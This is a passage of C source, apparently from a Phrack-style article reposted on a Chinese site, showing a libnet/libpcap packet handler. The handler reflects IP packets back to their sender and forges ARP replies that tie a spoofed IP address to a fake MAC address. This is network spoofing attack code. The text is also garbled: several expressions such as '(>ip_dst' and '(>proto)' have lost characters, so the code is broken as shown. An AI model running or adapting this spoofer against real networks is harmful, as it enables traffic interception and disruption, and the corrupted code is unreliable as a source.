memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;

if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->

|EOF|-------------------------------------------------------------------------|
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息